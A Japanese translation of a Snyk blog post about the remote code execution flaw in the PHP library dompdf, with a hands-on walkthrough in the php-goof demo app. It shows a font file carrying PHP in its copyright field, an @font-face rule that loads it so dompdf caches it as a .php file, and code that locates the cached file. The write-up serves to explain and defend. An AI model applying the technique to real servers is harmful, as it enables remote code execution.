本記事は、2022年3月18日に公開したブログdompdf security alert: RCE vulnerability found in popular PHP PDF libraryを日本語化した内容です。
はじめに
先日、Positive Security社の研究者が、一般的なPDF生成ライブラリであるdompdfにリモートコード実行(RCE)の重大な脆弱性が存在することを示す調査結果を発表しました。この報告書では、PDFの生成中に、アプリケーションにコードを読み込ませ、リモートで実行させる方法について解説しています。
Dompdfは、PHPのエコシステムの中で非常に広範囲に使用されており、59,000以上のオープンソースのプラットフォームやプロジェクトで使用されています。2014年にPHPパッケージマネージャに初めてリリースされて以来、dompdfのPHP Composerページだけでも約5,000万件のインストールが行われています。
これを書いている時点では、現在、この脆弱性に対する修正プログラムはありません。解決策として考えられるのは、PDF生成プロセスへのカスタムフォントスタイルの読み込みを禁止することや、フォントキャッシュフォルダへの書き込みアクセスを制限することなどが考えられます。また、使用しているライブラリやアプリケーションで必要な機能によっては、Composerのインストール先へのアクセスを制限することも有効な手段です。
dompdfのバージョン => 0.8.6
では、$isRemoteEnabled
設定を無効にすることにより、font-face
CSSルールによるカスタムフォントの読み込みを防ぐことが可能です。ただし、この設定は変更になる可能性があることに留意してください。また、0.8.5未満のバージョン
では、この設定は使用されていないため、$isRemoteEnabled
の設定によって本脆弱性のパッチを適用することはできません。
このブログ記事では、この脆弱性がどのように機能するかを見ていきます。私がコードや脆弱性をより詳細なレベルで根本的に理解するために役立つと思うことの1つは、実際に手を動かすことです。そこで、このブログ記事では、Snyk GitHub リポジトリにある php-goof アプリケーションを使用した動作デモを通じて、この脆弱性を探ってみたいと思います。
PDFライブラリー
アプリケーション内でのPDF生成は、私が開発者として最も苦手とする作業の一つです。作成されるPDFのフォーマットとレイアウトを正しくするために、コードの変更、生成、コードの変更、生成・・・といった、かなり長い繰り返しのプロセスです。
しかし、HTMLをPDFにフォーマットできることは、特にアプリケーションがPDF生成を必要とする頻度を考えた場合、驚くほど便利です。eコマースサイトや、ユーザーが保存または印刷するためにレシートを生成する必要があるユーザーベースのトランザクションデータがあるサイトでは、ほとんど毎日使用しています。
したがって、ほとんどの人にとって、アプリケーション開発でこの種の機能を行うためのライブラリを使用することは、アプリ開発プロセスのスピードアップに役立ちます。dompdfのようなライブラリは、開発者として、ありふれた機能を構築可能にし、より複雑な機能構築に移行することができるということを意味します。
dompdfの脆弱性を利用したハンズオン
この脆弱性についての調査結果の原文に目を通すと、ライブラリ内部で何が起こっているのか、どのように悪用されたのかがより理解できます。
dompdfライブラリは、基本的に通常のHTMLを通常のフォーマットで受け取り、それをフォーマットされたPDFに出力します。
// reference the Dompdf namespace
use Dompdf\Dompdf;
// instantiate and use the dompdf class
$dompdf = new Dompdf();
$dompdf->loadHtml('<html><body>hello world</body></html>');
// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape');
// Render the HTML as PDF
$dompdf->render();
// Output the generated PDF to Browser
$dompdf->stream();
シンプルで使いやすい機能を提供する一方で、一般的な機能を使用するために必要な退屈で確立された作業を省きます。この機能で最も優れている点は、HTMLタグをそのまま使ってPDF出力をフォーマットできることです。
HTMLには、スタイルも含めることができます。これは、<html>
タグでインライン化するか、スタイルシートを介して行うことができます。スタイルシートでできることの1つは、font-family
を読み込んで、フォントファイルへのリンクを含めることです。
@font-face {
Font-family:'font name';
src:url('https://link to a font file’');
font-weight:'normal';
font-style:'normal';
}
ここからがちょっと面白いところです。
dompdfライブラリはHTML経由で外部のスタイルシートを読み込むだけでなく、フォントファイルをローカルキャッシュに保存し、サーバー上のフォントディレクトリに追加し、dompdfフレームワーク内からfont-family
と場所を参照します。
この悪用における次のステップは、PHPコードをフォントファイルに取り込み、dompdfからの検証を通過させてサーバーに保存し、なおかつPHPコードをフォントファイルから実行できるようにすることです。これは難しい作業のように聞こえるかもしれませんが、この検証はファイルの種類をチェックするだけで、ファイルの中身をチェックするわけではないことを、元の研究者が発見しました。
php-goofのデモアプリでは、gotcha-normal.otfというカスタムフォントファイルを見ることで、この仕組みを確認することができます。このファイルの大部分は、通常のフォントファイルであり、全く普通のフォントが含まれています。しかし、ファイルのmeta部分のcopyright metaフィールドの中に、ターゲットアプリサーバーで実行されるPHP - <php? phpinfo(); ?>
- があります.... はい、とても簡単です。
次に、フォントファイルをコードエディタで開き、その内容を.phpファイルにコピーするか、名前を変更するだけです。これは重要です。dompdfはファイル内のフォントヘッダーを検証し、.phpファイルとしてキャッシュに保存し、実行可能なphpファイルとして許可するからです。
次に、その新しく作成された偽のフォントファイルを、font-family
としてCSSスタイルで参照します。php-goofでは、php-goofのリポジトリから直接行っています。
@font-face {
font-family:'gotcha';
src:url('https://github.com/snyk-labs/php-goof/blob/main/exploits/gotcha_font.php?raw=true');
font-weight:'normal';
font-style:'normal';
}
注:ここで重要なのは、font-family
の名前にフォントファイルと同じ名前を使用することです。そうしないと、dompdfで動作しません。
あとは、PDF出力に使用するHTMLにスタイルシートを注入するだけです。そうすると、dompdfがそのフォントをサーバーに保存するようになり、リモートで実行できるようになります。ファイル名はハッシュ化され、フォントディレクトリは別の場所にある可能性があるため、これ自体が少し厄介になります。
php-goof では、dompdf フレームワークを使用してフォントファイルの場所と名前を特定することで、この部分を少し簡単にしています。dompdf のフォントキャッシュで検出されたときに、 $dompdf->getFontMetrics()->getFont("gotcha", "normal")
を使って調べます。
if($font = $dompdf->getFontMetrics()->getFont("gotcha", "normal")){
$html .= "<a href='https://".$_SERVER['SERVER_NAME'].":".$_SERVER['SERVER_PORT']."/vendor/dompdf/dompdf/lib/fonts/".basename($font).".php'>Gotcha hack</a>";
}
このgotcha フォントファイルがフレームワーク上で利用可能な場合、生成されるPDFの中にリンクとしてそのパスを返します。以下は、goof-appから見た脆弱性のスクリーンショットです。
安全性維持のために
Positive Securityのチームによる、自らの発見の公表と、dompdfのメンテナーに対して、この問題を提起した行動は、称賛に値するものです。
このような、知らないうちに発生する可能性のある状況を特定するために、アプリケーションのコードベースをスキャンすることを常に忘れないでください。Snyk Code は、フレームワークや関数内の脆弱性を特定するのに役立ち、エンドユーザーとそのデータを保護するための適切な処置を行うことができます。